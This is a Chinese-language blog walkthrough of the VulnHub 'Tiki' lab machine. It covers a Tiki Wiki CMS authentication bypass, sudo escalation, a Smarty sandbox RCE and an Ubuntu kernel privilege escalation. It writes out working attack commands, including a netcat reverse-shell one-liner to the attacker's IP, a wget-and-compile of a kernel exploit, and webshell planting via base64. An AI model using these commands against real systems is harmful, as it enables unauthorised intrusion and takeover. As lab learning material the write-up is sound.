Vuln靶机系列:02TiKi-CMS漏洞利用-对新手非常友好!!!

前言

距离上一次打靶机仿佛就在昨天… 五一不想回家,打打靶机吧…

这一次可有意思了,没有看wp居然能把这个靶机给拿下了,我是不怎么理解的,一般来说,我做到差不多的时候基本上就是做不出来了,也没什么思路,这个时候与其瞎想乱撞还不如直接看wp学习来的快。

后面看了wp之后,我不是这道题目本来的做法做出来,还有点小暗喜呢… 我的方法相对来说比较绕一点,不过下面两种方法都会复现。先按照原本的,再按我的。

准备

知识点

  1. Tiki CMS CVE漏洞利用认证绕过漏洞(CVE-2020-15906)
  2. 普通用户sudo提权
  3. Ubuntu提权漏洞
  4. Smarty沙盒绕过漏洞(CVE-2021-26119)

参考文章

知乎:Vulnhub靶机:Tiki(适合新手练习漏洞搜索和利用)(这个wp不推荐但还是能看)

csdn:VulnHub靶场-Tiki

工具

反弹shell:https://www.ddosi.org/shell/

Ubuntu 20.04 LTS提权:https://github.com/briskets/CVE-2021-3493

认证绕过脚本(kali上也有,但是这个可以把命令也执行了):https://srcincite.io/pocs/cve-2021-26119.py.txt

Vulnhub靶机下载

官网地址:https://www.vulnhub.com/entry/tiki-1,525/

开始-sudo提权

信息收集

探测内网靶机ip地址,常规操作了

netdiscover -r 192.168.30.0/24

探测出来ip为:192.168.30.129

nmap探测开放端口

nmap -sS -T4 -v -O 192.168.30.129

file

80端口有开放,访问一下

file

结果为Ubuntu的apache的默认首页,常规操作目录扫描,添加-r参数不递归,打这个靶机的时候不知道有这操作,将整个网站目录都递归出来的…

dirb http://192.168.30.129/ -r 

扫描出来有个robots.txt文件,访问,有个tiki目录,接着访问

file

这是一个Tiki Wiki CMS Groupware框架,初次了解这个框架。说实话,其实可以用Wappalyzer插件识别一下什么CMS插件

经过搜索引擎查询资料得知,这个CMS是存在有CVE漏洞,而且vulnhub描述上也说明有CVE漏洞。我们可以查询一下该CMS的版本号

访问http://192.168.30.129/tiki/changelog.txt

file

该CMS的版本为21.1,该版本存在为认证绕过漏洞(CVE-2020-15906)

简单说明一下:当管理员账户连续错误60次以上再输入空密码即可绕过认证。

有3种方式可以实现:

  1. 使用bp抓取登陆数据包并发送60次错误登陆请求,最后放行
  2. 使用kali自带的爆破脚本,bp抓取放行空密码(本文实现)
  3. 使用网络上存在有的python脚本(该脚本可以任意命令执行)

其实以上1、2、3方法我都尝试过,本文仅复现2、3方式

kali自带脚本-Tiki漏洞利用认证绕过漏洞

使用以下命令查询是否存在CMS绕过脚本

searchsploit Tiki wiki 21.1 
searchsploit -p php/webapps/48927.py

file

使用该脚本爆破60次admin账户

python3 /usr/share/exploitdb/exploits/php/webapps/48927.py 192.168.30.129 

bp抓取登陆包,并修改为空密码,成功登陆

file

file
(以上两张图片为网图,实验时的图片已丢失能看懂就行啦)

成功登陆CMS的第一件事就是,找啊,找啊,找上传点…

找了半天,上传点都无法成功上传shell…

于是,看了wp(这是已经获取flag才看的),第一次是直接用上面的第三种方式,利用网上的一个python脚本可以实现任意命令执行。但是这种方式好像不是很符合本题目的意思。

查看一个文件

file

该文件包含存在有一个用户,结合前面开放了22端口,应该是让我们去登陆该账户

file

该账户是可以使用sudo命令,就这样flag.txt就出来了

file

以下是使用第3种方式通过

RCE-Smarty沙盒绕过漏洞+Tiki漏洞利用认证绕过漏洞

该脚本地址:https://srcincite.io/pocs/cve-2021-26119.py.txt

使用该脚本反弹shell

python3 cve-2021-26119.py 192.168.30.129 "/tiki/" "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.30.102 7777 >/tmp/f"

反弹shell成功,需要提权,查看该Linux版本

uname -a
cat /proc/version
lsb_release -a

file

该Ubuntu版本存在一个提权漏洞CVE-2021-3493

利用工具:https://github.com/briskets/CVE-2021-3493

将该工具上传到kali中,并开启python的http模式

python3 -m http.server 8089 

目标机下载该提权文件编译并执行

wget http://192.168.30.102:8089/exploit.c
gcc exploit.c -o exploit
chmod +x exploit
./exploit

提权成功,并成功获取flag.txt

file

其实,第一次我都不是使用上面的方式通过的

我拿到shell了以后,一直苦恼如何将文件上传,于是,想到了使用webshell这种方式。但这种不也要上传马上去吗?我有反弹shell是可以写文件的,像php的一句话木马还好,要是jsp这种一长串一长串的,我又该如何写呢?反弹shel又不能使用vim直接写进去,我只能使用echo。当时还自作多情直接将冰蝎马复制上去,显而易见是没有成功了。其实,可以使用base64编码的,只是一时间没起来有这种方式,归根到底就是实战经验少嘛。多打几次就有经验了

上传马之后就是常规操作了,上传提权文件>提权>拿flag

总结

  1. 首次使用CMS漏洞
  2. 该靶机通过的方式有多种,比如:sudo提权、Ubuntu提权
  3. 使用到的python脚本挺多
  4. 查看Ubuntu版本
  5. 使用base64编码写入webshell
  6. Smarty沙盒绕过漏洞-RCE反弹shell
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值